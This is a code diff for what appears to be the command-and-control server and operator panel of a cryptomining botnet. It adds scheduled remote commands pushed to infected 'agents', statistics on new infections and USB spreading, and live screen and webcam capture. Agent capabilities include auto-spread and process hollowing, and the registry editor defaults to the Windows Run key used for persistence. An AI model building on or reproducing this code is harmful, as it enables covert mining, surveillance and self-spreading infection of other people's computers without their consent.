server/internal/db/audit_test.go
Normal file
46
server/internal/db/audit_test.go
Normal file
@@ -0,0 +1,46 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestAuditLogRoundTrip(t *testing.T) {
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
if err := d.InsertAudit("admin", "forge_build", "", map[string]string{"build_id": "b1"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
rows, err := d.ListAudit(10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(rows) != 1 || rows[0].Action != "forge_build" || rows[0].Username != "admin" {
|
||||
t.Fatalf("unexpected audit rows: %+v", rows)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetTasksCRUD(t *testing.T) {
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
task := &models.FleetTask{Name: "sysinfo on connect", Enabled: true, Trigger: "on_connect", Action: "sysinfo"}
|
||||
if err := d.UpsertFleetTask(task); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
list, err := d.ListFleetTasks()
|
||||
if err != nil || len(list) != 1 {
|
||||
t.Fatalf("list: %v err=%v", list, err)
|
||||
}
|
||||
if err := d.DeleteFleetTask(list[0].ID); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
97
server/internal/db/fleet_tasks.go
Normal file
97
server/internal/db/fleet_tasks.go
Normal file
@@ -0,0 +1,97 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func (d *Database) ListFleetTasks() ([]*models.FleetTask, error) {
|
||||
rows, err := d.Query(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks ORDER BY created_at`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
return scanFleetTasks(rows)
|
||||
}
|
||||
|
||||
func (d *Database) GetFleetTask(id string) (*models.FleetTask, error) {
|
||||
row := d.QueryRow(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks WHERE id = ?`, id)
|
||||
return scanFleetTaskRow(row)
|
||||
}
|
||||
|
||||
func (d *Database) UpsertFleetTask(t *models.FleetTask) error {
|
||||
if t.ID == "" {
|
||||
t.ID = uuid.New().String()
|
||||
}
|
||||
now := time.Now()
|
||||
if t.CreatedAt.IsZero() {
|
||||
t.CreatedAt = now
|
||||
}
|
||||
t.UpdatedAt = now
|
||||
_, err := d.Exec(`INSERT INTO fleet_tasks (id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
enabled = excluded.enabled,
|
||||
trigger = excluded.trigger,
|
||||
interval_hours = excluded.interval_hours,
|
||||
cron_time = excluded.cron_time,
|
||||
action = excluded.action,
|
||||
command = excluded.command,
|
||||
target = excluded.target,
|
||||
updated_at = excluded.updated_at`,
|
||||
t.ID, t.Name, boolToInt(t.Enabled), t.Trigger, t.IntervalHours, t.CronTime, t.Action, t.Command, t.Target, t.CreatedAt, t.UpdatedAt,
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) DeleteFleetTask(id string) error {
|
||||
_, err := d.Exec(`DELETE FROM fleet_tasks WHERE id = ?`, id)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) RecordFleetTaskRun(agentID, taskID string) error {
|
||||
_, err := d.Exec(`INSERT INTO fleet_task_runs (agent_id, task_id, last_run_at) VALUES (?, ?, ?)
|
||||
ON CONFLICT(agent_id, task_id) DO UPDATE SET last_run_at = excluded.last_run_at`,
|
||||
agentID, taskID, time.Now(),
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) LastFleetTaskRun(agentID, taskID string) (time.Time, bool) {
|
||||
var ts time.Time
|
||||
err := d.QueryRow(`SELECT last_run_at FROM fleet_task_runs WHERE agent_id = ? AND task_id = ?`, agentID, taskID).Scan(&ts)
|
||||
if err != nil {
|
||||
return time.Time{}, false
|
||||
}
|
||||
return ts, true
|
||||
}
|
||||
|
||||
func scanFleetTaskRow(row *sql.Row) (*models.FleetTask, error) {
|
||||
t := &models.FleetTask{}
|
||||
var enabled int
|
||||
err := row.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
t.Enabled = enabled == 1
|
||||
return t, nil
|
||||
}
|
||||
|
||||
func scanFleetTasks(rows *sql.Rows) ([]*models.FleetTask, error) {
|
||||
var out []*models.FleetTask
|
||||
for rows.Next() {
|
||||
t := &models.FleetTask{}
|
||||
var enabled int
|
||||
if err := rows.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
t.Enabled = enabled == 1
|
||||
out = append(out, t)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
52
server/internal/db/spread_stats.go
Normal file
52
server/internal/db/spread_stats.go
Normal file
@@ -0,0 +1,52 @@
|
||||
package db
|
||||
|
||||
import "time"
|
||||
|
||||
type SpreadFunnelRow struct {
|
||||
BuildID string `json:"build_id"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
Count int `json:"count"`
|
||||
USBSpread int `json:"usb_spread_count"`
|
||||
}
|
||||
|
||||
type SpreadFunnelStats struct {
|
||||
ByBuild []SpreadFunnelRow `json:"by_build"`
|
||||
NewConnectsToday int `json:"new_connects_today"`
|
||||
TotalAgents int `json:"total_agents"`
|
||||
}
|
||||
|
||||
func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) {
|
||||
stats := &SpreadFunnelStats{}
|
||||
|
||||
if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := d.QueryRow(`SELECT COUNT(*) FROM agents`).Scan(&stats.TotalAgents); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := d.Query(`
|
||||
SELECT COALESCE(NULLIF(build_id,''), 'unknown') AS build_id,
|
||||
COALESCE(NULLIF(worker_name,''), name) AS worker_name,
|
||||
COUNT(*) AS cnt,
|
||||
SUM(CASE WHEN usb_spread = 1 THEN 1 ELSE 0 END) AS usb_cnt
|
||||
FROM agents
|
||||
WHERE created_at >= ?
|
||||
GROUP BY build_id, worker_name
|
||||
ORDER BY cnt DESC`,
|
||||
since,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var r SpreadFunnelRow
|
||||
if err := rows.Scan(&r.BuildID, &r.WorkerName, &r.Count, &r.USBSpread); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
stats.ByBuild = append(stats.ByBuild, r)
|
||||
}
|
||||
return stats, rows.Err()
|
||||
}
|
||||
@@ -130,6 +130,45 @@ func (d *Database) migrate() error {
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
|
||||
|
||||
extraMigrations := []string{
|
||||
`CREATE TABLE IF NOT EXISTS audit_log (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
username TEXT NOT NULL DEFAULT '',
|
||||
action TEXT NOT NULL,
|
||||
agent_id TEXT NOT NULL DEFAULT '',
|
||||
detail TEXT NOT NULL DEFAULT '{}'
|
||||
)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_audit_timestamp ON audit_log(timestamp)`,
|
||||
`CREATE TABLE IF NOT EXISTS fleet_tasks (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL,
|
||||
enabled INTEGER NOT NULL DEFAULT 1,
|
||||
trigger TEXT NOT NULL,
|
||||
interval_hours REAL NOT NULL DEFAULT 0,
|
||||
cron_time TEXT NOT NULL DEFAULT '',
|
||||
action TEXT NOT NULL,
|
||||
command TEXT NOT NULL DEFAULT '',
|
||||
target TEXT NOT NULL DEFAULT 'all',
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`,
|
||||
`CREATE TABLE IF NOT EXISTS fleet_task_runs (
|
||||
agent_id TEXT NOT NULL,
|
||||
task_id TEXT NOT NULL,
|
||||
last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
PRIMARY KEY (agent_id, task_id)
|
||||
)`,
|
||||
}
|
||||
for _, m := range extraMigrations {
|
||||
if _, err := d.Exec(m); err != nil {
|
||||
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -137,8 +176,8 @@ func (d *Database) migrate() error {
|
||||
// Agent operations
|
||||
|
||||
func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?)
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
wallet = excluded.wallet,
|
||||
@@ -152,8 +191,15 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
arch = excluded.arch,
|
||||
os_version = excluded.os_version,
|
||||
hostname = excluded.hostname,
|
||||
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END`
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress)
|
||||
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END,
|
||||
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
|
||||
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
|
||||
usb_spread = excluded.usb_spread`
|
||||
usb := 0
|
||||
if a.USBSpread {
|
||||
usb = 1
|
||||
}
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb)
|
||||
return err
|
||||
}
|
||||
|
||||
|
||||
@@ -34,6 +34,10 @@ type Agent struct {
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
WorkerName string `json:"worker_name,omitempty"`
|
||||
USBSpread bool `json:"usb_spread,omitempty"`
|
||||
|
||||
// Live connection quality — not persisted, set by WSHub each stats cycle.
|
||||
LatencyMs *int `json:"latency_ms,omitempty"`
|
||||
|
||||
@@ -102,6 +106,7 @@ type AgentCapabilities struct {
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
}
|
||||
|
||||
type Share struct {
|
||||
|
||||
15
server/internal/models/audit.go
Normal file
15
server/internal/models/audit.go
Normal file
@@ -0,0 +1,15 @@
|
||||
package models
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"time"
|
||||
)
|
||||
|
||||
type AuditEntry struct {
|
||||
ID int64 `json:"id"`
|
||||
Timestamp time.Time `json:"timestamp"`
|
||||
Username string `json:"username"`
|
||||
Action string `json:"action"`
|
||||
AgentID string `json:"agent_id,omitempty"`
|
||||
Detail json.RawMessage `json:"detail,omitempty"`
|
||||
}
|
||||
18
server/internal/models/fleet_task.go
Normal file
18
server/internal/models/fleet_task.go
Normal file
@@ -0,0 +1,18 @@
|
||||
package models
|
||||
|
||||
import "time"
|
||||
|
||||
// FleetTask is a server-side scheduled remote action pushed to agents.
|
||||
type FleetTask struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Enabled bool `json:"enabled"`
|
||||
Trigger string `json:"trigger"` // on_connect, on_reconnect, interval_hours, cron
|
||||
IntervalHours float64 `json:"interval_hours,omitempty"`
|
||||
CronTime string `json:"cron_time,omitempty"` // HH:MM daily
|
||||
Action string `json:"action"`
|
||||
Command string `json:"command,omitempty"`
|
||||
Target string `json:"target,omitempty"` // all (default)
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
142
server/internal/scheduler/fleet_scheduler.go
Normal file
142
server/internal/scheduler/fleet_scheduler.go
Normal file
@@ -0,0 +1,142 @@
|
||||
package scheduler
|
||||
|
||||
import (
|
||||
"log"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
// CommandSender pushes a remote command to a connected agent.
|
||||
type CommandSender interface {
|
||||
SendAgentCommand(agentID, action string, args map[string]interface{}) error
|
||||
ConnectedAgentIDs() []string
|
||||
}
|
||||
|
||||
// FleetScheduler runs interval and cron fleet tasks against connected agents.
|
||||
type FleetScheduler struct {
|
||||
db *db.Database
|
||||
send CommandSender
|
||||
stop chan struct{}
|
||||
wg sync.WaitGroup
|
||||
|
||||
cronMu sync.Mutex
|
||||
lastCronRuns map[string]string // taskID -> "2006-01-02 15:04"
|
||||
}
|
||||
|
||||
func New(db *db.Database, send CommandSender) *FleetScheduler {
|
||||
return &FleetScheduler{
|
||||
db: db,
|
||||
send: send,
|
||||
stop: make(chan struct{}),
|
||||
lastCronRuns: make(map[string]string),
|
||||
}
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) Start() {
|
||||
s.wg.Add(1)
|
||||
go s.loop()
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) Stop() {
|
||||
close(s.stop)
|
||||
s.wg.Wait()
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) loop() {
|
||||
defer s.wg.Done()
|
||||
ticker := time.NewTicker(1 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-s.stop:
|
||||
return
|
||||
case <-ticker.C:
|
||||
s.tickInterval()
|
||||
s.tickCron()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// RunConnectTasks executes tasks matching on_connect or on_reconnect for one agent.
|
||||
func (s *FleetScheduler) RunConnectTasks(agentID string, trigger string) {
|
||||
tasks, err := s.db.ListFleetTasks()
|
||||
if err != nil {
|
||||
log.Printf("[scheduler] list tasks: %v", err)
|
||||
return
|
||||
}
|
||||
for _, t := range tasks {
|
||||
if !t.Enabled || t.Trigger != trigger {
|
||||
continue
|
||||
}
|
||||
s.dispatchTask(agentID, t)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) tickInterval() {
|
||||
tasks, err := s.db.ListFleetTasks()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
agentIDs := s.send.ConnectedAgentIDs()
|
||||
for _, t := range tasks {
|
||||
if !t.Enabled || t.Trigger != "interval_hours" || t.IntervalHours <= 0 {
|
||||
continue
|
||||
}
|
||||
interval := time.Duration(t.IntervalHours * float64(time.Hour))
|
||||
for _, agentID := range agentIDs {
|
||||
last, ok := s.db.LastFleetTaskRun(agentID, t.ID)
|
||||
if ok && time.Since(last) < interval {
|
||||
continue
|
||||
}
|
||||
s.dispatchTask(agentID, t)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) tickCron() {
|
||||
now := time.Now()
|
||||
slot := now.Format("15:04")
|
||||
daySlot := now.Format("2006-01-02") + " " + slot
|
||||
|
||||
tasks, err := s.db.ListFleetTasks()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
agentIDs := s.send.ConnectedAgentIDs()
|
||||
for _, t := range tasks {
|
||||
if !t.Enabled || t.Trigger != "cron" || strings.TrimSpace(t.CronTime) == "" {
|
||||
continue
|
||||
}
|
||||
cronTime := strings.TrimSpace(t.CronTime)
|
||||
if cronTime != slot {
|
||||
continue
|
||||
}
|
||||
s.cronMu.Lock()
|
||||
if s.lastCronRuns[t.ID] == daySlot {
|
||||
s.cronMu.Unlock()
|
||||
continue
|
||||
}
|
||||
s.lastCronRuns[t.ID] = daySlot
|
||||
s.cronMu.Unlock()
|
||||
for _, agentID := range agentIDs {
|
||||
s.dispatchTask(agentID, t)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) dispatchTask(agentID string, t *models.FleetTask) {
|
||||
args := map[string]interface{}{}
|
||||
if t.Command != "" {
|
||||
args["command"] = t.Command
|
||||
}
|
||||
if err := s.send.SendAgentCommand(agentID, t.Action, args); err != nil {
|
||||
log.Printf("[scheduler] task %s → %s: %v", t.Name, agentID, err)
|
||||
return
|
||||
}
|
||||
_ = s.db.RecordFleetTaskRun(agentID, t.ID)
|
||||
log.Printf("[scheduler] dispatched task %q (%s) → agent %s", t.Name, t.Action, agentID)
|
||||
}
|
||||
@@ -18,6 +18,7 @@ import (
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/maintenance"
|
||||
"crypto-miner-server/internal/pool"
|
||||
"crypto-miner-server/internal/scheduler"
|
||||
"crypto-miner-server/internal/sys"
|
||||
)
|
||||
|
||||
@@ -143,6 +144,7 @@ func main() {
|
||||
wsHub.SetFleetSecret(newSecret)
|
||||
builderHandler.SetFleetSecret(newSecret)
|
||||
api.SetAgentPathSecret(newSecret)
|
||||
_ = database.InsertAudit("", "fleet_secret_rotate", "", map[string]string{"prefix": newSecret[:8]})
|
||||
log.Printf("[auth] Fleet secret rotated (new prefix: %s...)", newSecret[:8])
|
||||
return newSecret, nil
|
||||
})
|
||||
@@ -183,6 +185,9 @@ func main() {
|
||||
},
|
||||
}
|
||||
configHandler := api.NewConfigHandler(configProvider)
|
||||
configHandler.SetAuditSaveHook(func(user string) {
|
||||
_ = database.InsertAudit(user, "config_save", "", nil)
|
||||
})
|
||||
log.Println("Config handler initialized")
|
||||
|
||||
maintenance.StartRetentionJobs(database, cfg.DataDir, cfg.Server.StatsRetentionHours, cfg.Server.BuildRetentionDays)
|
||||
@@ -227,6 +232,11 @@ func main() {
|
||||
|
||||
fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg, cfg.DataDir)
|
||||
|
||||
fleetSched := scheduler.New(database, wsHub)
|
||||
fleetSched.Start()
|
||||
defer fleetSched.Stop()
|
||||
wsHub.SetConnectTaskRunner(fleetSched)
|
||||
|
||||
// Initialize blueprint handler (config presets)
|
||||
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
|
||||
log.Println("Blueprint handler initialized")
|
||||
|
||||
@@ -207,6 +207,14 @@ export const api = {
|
||||
// XMR market price (server-side CoinGecko cache, refreshed every 10 min)
|
||||
getXmrPrice: () => fetchJSON<XmrPrice>('/market/xmr'),
|
||||
|
||||
getAudit: () => fetchJSON<import('../types').AuditEntry[]>('/audit'),
|
||||
getFleetTasks: () => fetchJSON<import('../types').FleetTask[]>('/fleet-tasks'),
|
||||
saveFleetTask: (task: import('../types').FleetTask) =>
|
||||
fetchJSON<import('../types').FleetTask>('/fleet-tasks', { method: 'PUT', body: JSON.stringify(task) }),
|
||||
deleteFleetTask: (id: string) =>
|
||||
fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
|
||||
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
|
||||
|
||||
// Path Tracer — WireGuard VPN chain sessions
|
||||
startTrace: (agentIds: string[]) =>
|
||||
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
|
||||
|
||||
@@ -9,8 +9,10 @@ import { pushFileToAgentDesktop } from '../../help/desktopPush';
|
||||
import { parseFullSysCheckMessage } from '../../types/syscheck';
|
||||
import type { FullSysCheckReport } from '../../types/syscheck';
|
||||
import FullSysCheckPanel from './FullSysCheckPanel';
|
||||
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
|
||||
import './AgentRemoteActions.css';
|
||||
import './FullSysCheckPanel.css';
|
||||
import './ProtocolTunnelPanel.css';
|
||||
|
||||
const TERMINAL_MAX_LINES = 500;
|
||||
|
||||
@@ -51,10 +53,20 @@ export default function AgentRemoteActions({
|
||||
// terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6)
|
||||
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
||||
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
||||
const [liveView, setLiveView] = useState(false);
|
||||
const liveViewRef = useRef(false);
|
||||
liveViewRef.current = liveView;
|
||||
const [busy, setBusy] = useState<string | null>(null);
|
||||
const [wolMac, setWolMac] = useState('');
|
||||
const [wolExpanded, setWolExpanded] = useState(false);
|
||||
const [registryExpanded, setRegistryExpanded] = useState(false);
|
||||
const [regHive, setRegHive] = useState('HKCU');
|
||||
const [regPath, setRegPath] = useState('Software\\Microsoft\\Windows\\CurrentVersion\\Run');
|
||||
const [regName, setRegName] = useState('');
|
||||
const [regValue, setRegValue] = useState('');
|
||||
const [regType, setRegType] = useState('REG_SZ');
|
||||
const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null);
|
||||
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
|
||||
// Fleet upgrade
|
||||
const [builds, setBuilds] = useState<Build[]>([]);
|
||||
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
|
||||
@@ -152,18 +164,24 @@ export default function AgentRemoteActions({
|
||||
addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`);
|
||||
setSysCheckReport(null);
|
||||
}
|
||||
} else if (action === 'screenshot') {
|
||||
} else if (action === 'tunnel_status' && success && message) {
|
||||
setTunnelStatusMsg(message);
|
||||
} else if (action === 'screenshot' || action === 'camera_snapshot') {
|
||||
const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent');
|
||||
const kind = action === 'camera_snapshot' ? 'camera' : 'screenshot';
|
||||
const tag = action === 'camera_snapshot' ? 'CAMERA' : 'SCREENSHOT';
|
||||
if (success && message) {
|
||||
const clean = sanitizeScreenshotBase64(message);
|
||||
if (downloadScreenshotFromBase64(clean, label)) {
|
||||
if (liveViewRef.current && action === 'screenshot') {
|
||||
setScreenshotData(`data:image/jpeg;base64,${clean}`);
|
||||
addLog(`✓ Screenshot saved — ${label}`);
|
||||
} else if (downloadScreenshotFromBase64(clean, label, kind)) {
|
||||
setScreenshotData(`data:image/jpeg;base64,${clean}`);
|
||||
addLog(`✓ ${tag} saved — ${label}`);
|
||||
} else {
|
||||
addLog(`✗ [SCREENSHOT] ${label}: invalid image data`);
|
||||
addLog(`✗ [${tag}] ${label}: invalid image data`);
|
||||
}
|
||||
} else {
|
||||
addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
|
||||
} else if (!liveViewRef.current || action !== 'screenshot') {
|
||||
addLog(`✗ [${tag}] ${label}: FAIL\n${message ?? ''}`);
|
||||
}
|
||||
} else if (action && action !== 'full_sys_check') {
|
||||
const icon = success ? '✓' : '✗';
|
||||
@@ -174,6 +192,24 @@ export default function AgentRemoteActions({
|
||||
}
|
||||
}, [commandResults, agentId, addLog, agentNameProp, agent?.name]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!liveView || !isOnline || !agentId || agentId === 'all') return;
|
||||
let focused = document.visibilityState === 'visible';
|
||||
const onVis = () => { focused = document.visibilityState === 'visible'; };
|
||||
document.addEventListener('visibilitychange', onVis);
|
||||
const id = setInterval(() => {
|
||||
if (!focused) return;
|
||||
api.sendAgentCommand(agentId, 'screenshot').catch(() => {});
|
||||
}, 3000);
|
||||
api.sendAgentCommand(agentId, 'screenshot').catch(() => {});
|
||||
return () => {
|
||||
clearInterval(id);
|
||||
document.removeEventListener('visibilitychange', onVis);
|
||||
};
|
||||
}, [liveView, isOnline, agentId]);
|
||||
|
||||
useEffect(() => () => setLiveView(false), []);
|
||||
|
||||
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
|
||||
if (!agentId) {
|
||||
addLog('⚠ No agent selected');
|
||||
@@ -222,6 +258,8 @@ export default function AgentRemoteActions({
|
||||
try {
|
||||
if (action === 'screenshot') {
|
||||
addLog(`◈ Capturing desktop on ${agentName}…`);
|
||||
} else if (action === 'camera_snapshot') {
|
||||
addLog(`◈ Capturing USB/built-in camera on ${agentName}…`);
|
||||
} else {
|
||||
addLog(`▶ ${action} → ${agentId === 'all' ? 'FLEET' : agentName}`);
|
||||
}
|
||||
@@ -230,7 +268,7 @@ export default function AgentRemoteActions({
|
||||
addLog(`✗ Rejected: ${res.error ?? 'unknown error'}`);
|
||||
return;
|
||||
}
|
||||
if (action !== 'screenshot') addLog(`✓ command queued`);
|
||||
if (action !== 'screenshot' && action !== 'camera_snapshot') addLog(`✓ command queued`);
|
||||
onCommandSent?.(action);
|
||||
} catch (err: unknown) {
|
||||
const msg = err instanceof Error ? err.message : 'Command failed';
|
||||
@@ -327,6 +365,16 @@ export default function AgentRemoteActions({
|
||||
<h3>Recon & Intel</h3>
|
||||
<div className="button-grid">
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture remote desktop and download JPEG to this browser">Screenshot</button>
|
||||
<button
|
||||
type="button"
|
||||
className={liveView ? 'active' : ''}
|
||||
disabled={!isOnline || agentId === 'all'}
|
||||
onClick={() => setLiveView((v) => !v)}
|
||||
title="Poll desktop every 3s while this tab is focused"
|
||||
>
|
||||
{liveView ? '■ Live view' : '▶ Live view'}
|
||||
</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('camera_snapshot')} title="Capture one JPEG frame from the first USB or built-in webcam (requires ffmpeg on Windows agents)">Camera</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
|
||||
<button
|
||||
@@ -528,7 +576,7 @@ export default function AgentRemoteActions({
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('start_tunnel')}
|
||||
title={aggTitle('start_tunnel')}
|
||||
onClick={() => dispatch('start_tunnel')}
|
||||
onClick={() => dispatch('tunnel_cloudflared')}
|
||||
>
|
||||
Cloudflare Tunnel
|
||||
</button>
|
||||
@@ -570,6 +618,100 @@ export default function AgentRemoteActions({
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{!compact && agentId && agentId !== 'all' && (
|
||||
<ProtocolTunnelPanel
|
||||
agentId={agentId}
|
||||
agentName={agentName}
|
||||
online={isOnline}
|
||||
caps={agent?.capabilities}
|
||||
platform={agent?.platform}
|
||||
lastTunnelStatusMessage={tunnelStatusMsg}
|
||||
onDispatch={dispatch}
|
||||
busy={busy}
|
||||
/>
|
||||
)}
|
||||
|
||||
{(platform === 'windows' || platform === undefined) && (
|
||||
<div className="action-group registry-group">
|
||||
<h3>Registry (administered Windows)</h3>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-cyan wol-toggle"
|
||||
onClick={() => setRegistryExpanded((p) => !p)}
|
||||
title="Read/write/delete under Software\ or Environment only"
|
||||
>
|
||||
Registry ops {registryExpanded ? '▲' : '▼'}
|
||||
</button>
|
||||
{registryExpanded && (
|
||||
<div className="registry-form">
|
||||
<div className="registry-row">
|
||||
